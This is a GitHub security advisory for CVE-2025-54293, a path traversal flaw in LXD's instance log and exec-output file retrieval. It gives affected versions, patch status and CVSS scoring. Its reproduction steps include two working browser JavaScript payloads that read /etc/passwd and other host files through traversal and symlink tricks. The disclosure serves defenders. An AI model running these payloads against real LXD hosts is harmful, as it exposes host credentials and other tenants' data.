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Canonical LXD Path Traversal Vulnerability in Instance Log File Retrieval Function

High severity GitHub Reviewed Published Oct 2, 2025 in canonical/lxd • Updated Oct 2, 2025

Package

gomod github.com/canonical/lxd (Go)

Affected versions

>= 4.0, < 5.21.4
>= 6.0, < 6.5
>= 0.0.0-20200331193331-03aab09f5b5c, < 0.0.0-20250224180022-ec09b24179f3

Patched versions

5.21.4
6.5
0.0.0-20250224180022-ec09b24179f3

Description

Impact

Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instance_logs.go in the LXD 5.0 LTS series.

This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier.

However, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it.

Implementation in vulnerable versions (LXD 5.0 LTS series):

https://github.com/canonical/lxd/blob/1f8c9f77782784900960bb3b8577c1491db59277/lxd/instance_logs.go#L152-L163

This function allows filenames starting with snapshot_ or migration_, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows:

Implementation in fixed versions (LXD 5.21 and later):

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L665-L679

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/shared/util.go#L833-L835

This function ensures that filenames do not contain /, , or .. .

Note that in Linux generally, path traversal like /not_exist_folder/../exist_folder/ is rejected within system calls and doesn't
succeed.

However, in this case, the attack succeeds because URL normalization by golang's filepath.Join is performed beforehand.

Related part of instanceLogGet function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L218-L269

Related part of instanceLogDelete function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L331-L347

In the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName.

Reproduction Steps

All reproduction steps for this finding must be performed on LXD 5.0.

  1. Log in with an account having access to LXD-UI
  2. Open browser DevTools and execute the following JavaScript to attempt path traversal
    attack:
(async () => {
const projectName = prompt("Enter target project name:");
const instanceName = prompt("Enter target instance
name:");
const maliciousLogFile =
encodeURIComponent('snapshot_../../../../../../../../../../etc
/passwd');
const response = await
fetch(`/1.0/instances/${instanceName}/logs/${maliciousLogFile}
?project=${projectName}`, {
method: 'GET',
credentials: 'include'
});
const content = await response.text();
console.log(content);
})();

Description (2)

A similar issue also exists in the validExecOutputFileName function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L681-L688

For exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified.
However, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack.

Reproduction Steps (2)

  1. Open terminal in instance using LXD-UI and create symbolic link:
ln -s /etc/passwd exec_XXX-symlink.stdout
  1. Execute the following JavaScript in browser DevTools to read files via symbolic link:
(async () => {
const projectName = prompt("Enter target project name:");
const instanceName = prompt("Enter target instance
name:");
const maliciousExecFile =
encodeURIComponent(`exec_../../../../../../../../../../../var/
snap/lxd/common/lxd/storage-pools/${projectName}/containers/${
instanceName}/rootfs/root/exec_XXX-symlink.stdout`);
const response = await
fetch(`/1.0/instances/${instanceName}/logs/exec-output/${malic
iousExecFile}?project=${projectName}`, {
method: 'GET',
credentials: 'include'
});
const content = await response.text();
console.log(content);
})();

This technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem.

Risk

This vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host.

This could lead to leakage of the following information:
-​ LXD host configuration files (/etc/passwd, /etc/shadow, etc.)
-​ LXD database files (containing information about all projects and instances)
-​ Configuration files and data of other instances
-​ Sensitive information on the host system

Countermeasures

Since this vulnerability has already been fixed, the primary countermeasures are providing information to users running older versions of LXD and, if possible, backporting to other LTS versions:

Patches

LXD Series Status
6 Fixed in LXD 6.5
5.21 Fixed in LXD 5.21.4
5.0 Ignored - Not critical
4.0 Ignored - Not critical

References

Reported by GMO Flatt Security Inc.

References

@tomponline tomponline published to canonical/lxd Oct 2, 2025
Published by the National Vulnerability Database Oct 2, 2025
Published to the GitHub Advisory Database Oct 2, 2025
Reviewed Oct 2, 2025
Last updated Oct 2, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(45th percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2025-54293

GHSA ID

GHSA-472f-vmf2-pr3h

Source code

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